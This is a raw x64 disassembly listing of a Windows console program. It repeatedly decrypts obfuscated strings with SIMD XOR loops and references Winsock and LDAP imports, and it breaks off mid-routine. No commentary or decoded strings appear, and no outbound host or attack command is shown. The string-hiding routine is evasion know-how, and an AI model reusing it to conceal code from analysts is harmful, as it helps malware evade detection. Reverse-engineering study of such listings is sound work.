call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r8, qword [rbp + 0x228]
cmp r8, 0x10
jb 0x140030488
inc r8
mov rdx, qword [rbp + 0x210]
lea rcx, [rbp + 0x210]
call fcn.140004400
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x1401ff568]
mov word [rsp + 0x38], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_50]
mov byte [rsp + 0x38], 0xa
xor byte [rsp + 0x39], 0x31
xor al, 0x32
mov byte [rsp + 0x3a], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r15
mov qword [rbp + 0x260], r15
lea rax, [rsp + 0x38]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400304d6
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x248]
call fcn.1400050f0
nop
lea rdx, [rbp + 0x248]
cmp qword [rbp + 0x260], 0x10
cmovae rdx, qword [rbp + 0x248]
mov r8, qword [rbp + 0x258]
mov rcx, r12
call fcn.140005f10
nop
mov rdx, qword [rbp + 0x260]
cmp rdx, 0x10
jb 0x14003055a
inc rdx
mov rcx, qword [rbp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030555
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b3e
call fcn.1400b7470
movups xmm0, xmmword [0x1401ff570]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff580]
movups xmmword [rbp + 0x220], xmm1
movzx eax, word [0x1401ff590]
mov word [rbp + 0x230], ax
movzx eax, byte [0x1401ff592]
mov byte [rbp + 0x232], al
mov r8d, r15d
cmp r13d, 2
jl 0x1400306e9
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400305e2
cmp r8d, 0x23
jge 0x14003072f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140030700
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140030755
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x14], 0xff
mov dword [rbp + 0x1c], 0xff
mov qword [rbp + 0x20], r15
mov dword [rbp + 0x28], 0xff
movups xmm0, xmmword [0x1401ff598]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff5a8]
movups xmmword [rbp + 0x220], xmm1
mov eax, dword [str._fXS]
mov dword [rbp + 0x230], eax
mov r8d, r15d
cmp r13d, 2
jl 0x140030927
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140030820
cmp r8d, 0x24
jge 0x14003096f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140030940
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d8], xmm0
mov qword [rbp + 0x2e8], r15
mov qword [rbp + 0x2f0], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140030995
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x2d8]
call fcn.1400050f0
nop
lea r9, [rbp + 0x14]
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x2d8]
lea rcx, [rbp + 0x1d0]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400309dd
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov r8, qword [rbp + 0x1e8]
cmp r8, 0x10
jb 0x140030a1c
inc r8
mov rdx, qword [rbp + 0x1d0]
lea rcx, [rbp + 0x1d0]
call fcn.140004400
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1d0], 0
mov rdx, qword [rbp + 0x2f0]
cmp rdx, 0x10
jb 0x140030a76
inc rdx
mov rcx, qword [rbp + 0x2d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030a71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b45
call fcn.1400b7470
movsd xmm0, qword [0x1401ff5c0]
movsd qword [rbp + 0x268], xmm0
movzx eax, byte [0x1401ff5c8]
mov byte [rbp + 0x268], 0x3e
xor byte [rbp + 0x269], 0x31
xor byte [rbp + 0x26a], 0x32
xor byte [rbp + 0x26b], 0x33
xor byte [rbp + 0x26c], 0x34
xor byte [rbp + 0x26d], 0x35
xor byte [rbp + 0x26e], 0x36
xor byte [rbp + 0x26f], 0x37
xor al, 0x38
mov byte [rbp + 0x270], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x268]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140030af3
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
lea rcx, [rbp + 0x1d0]
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x2c], 0xff
mov dword [rbp + 0x34], 0xff
mov qword [rbp + 0x38], r15
mov dword [rbp + 0x40], 0xff
movzx eax, word [0x1401ff5cc]
mov word [rsp + 0x3c], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_50]
mov byte [rsp + 0x3c], 0x3e
xor byte [rsp + 0x3d], 0x31
xor al, 0x32
mov byte [rsp + 0x3e], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rsp + 0x3c]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140030b84
lea rdx, [rsp + 0x3c]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x2c]
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x210]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140030bca
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
nop
lea rcx, [rbp + 0x210]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140030c24
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030c1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036b4c
call fcn.1400b7470
lea rdx, reloc.WLDAP32.dll_Ordinal_50
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
jmp 0x14002df18
call fcn.14003a770
mov eax, dword [reloc.WS2_32.dll_accept]
cmp eax, 1
jne 0x140031121
movups xmm0, xmmword [0x1401ff260]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff270]
movups xmmword [rbp + 0x220], xmm1
movzx eax, word [0x1401ff280]
mov word [rbp + 0x230], ax
mov r8d, r15d
cmp r13d, 2
jl 0x140030de7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140030ce0
cmp r8d, 0x22
jge 0x140030e2f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140030e00
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x288]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x44], 0xff
mov dword [rbp + 0x4c], 0xff
mov qword [rbp + 0x50], r15
mov dword [rbp + 0x58], 0xff
movups xmm0, xmmword [0x1401ff288]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff298]
movups xmmword [rbp + 0x220], xmm1
movzx eax, word [0x1401ff2a8]
mov word [rbp + 0x230], ax
mov r8d, r15d
cmp r13d, 2
jl 0x140030ff7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140030ef0
cmp r8d, 0x22
jge 0x14003103f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140031010
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140031065
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x44]
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400310ad
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140032069
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032064
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140032064
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp eax, 2
jne 0x140031615
movups xmm0, xmmword [0x1401ff2b0]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff2c0]
movups xmmword [rbp + 0x220], xmm1
movsd xmm0, qword [0x1401ff2d0]
movsd qword [rbp + 0x230], xmm0
mov eax, dword [0x1401ff2d8]
mov dword [rbp + 0x238], eax
movzx eax, word [0x1401ff2dc]
mov word [rbp + 0x23c], ax
mov r8d, r15d
cmp r13d, 2
jl 0x1400312c8
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400311c1
cmp r8d, 0x2e
jge 0x14003130f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x1400312e0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x288]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov r12, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x5c], 0xff
mov dword [rbp + 0x64], 0xff
mov qword [rbp + 0x68], r15
mov dword [rbp + 0x70], 0xff
movups xmm0, xmmword [0x1401ff2e0]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x1401ff2f0]
movups xmmword [rbp + 0x220], xmm1
movsd xmm0, qword [0x1401ff300]
movsd qword [rbp + 0x230], xmm0
mov eax, dword [0x1401ff308]
mov dword [rbp + 0x238], eax
movzx eax, word [0x1401ff30c]
mov word [rbp + 0x23c], ax
mov r8d, r15d
cmp r13d, 2
jl 0x1400314e9
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x214]
mov edx, dword [rsp + 0x20]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400313e2
cmp r8d, 0x2e
jge 0x14003152f
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x140031500
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], r15
lea rax, [rbp + 0x210]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140031555
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1d0]
call fcn.1400050f0
nop
lea r9, [rbp + 0x5c]
lea r8, [rbp + 0x68]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x288]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400315a1
mov rax, qword [rax]
mov rdx, rax
mov rcx, r12
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x288]
call fcn.140003990
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x140032069
inc rdx
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032064
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140032064
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp eax, 3
jne 0x140031b58
movups xmm0, xmmword [0x1401ff310]
movups xmmword [rbp + 0x288], xmm0
movups xmm1, xmmword [0x1401ff320]
movups xmmword [rbp + 0x298], xmm1
movsd xmm0, qword [0x1401ff330]
movsd qword [rbp + 0x2a8], xmm0
mov eax, dword [0x1401ff338]
mov dword [rbp + 0x2b0], eax
movzx eax, word [0x1401ff33c]
mov word [rbp + 0x2b4], ax
mov r8d, r15d
cmp r13d, 2
jl 0x1400317c7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rbp + 0x28c]
mov edx, dword [rsp + 0x20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
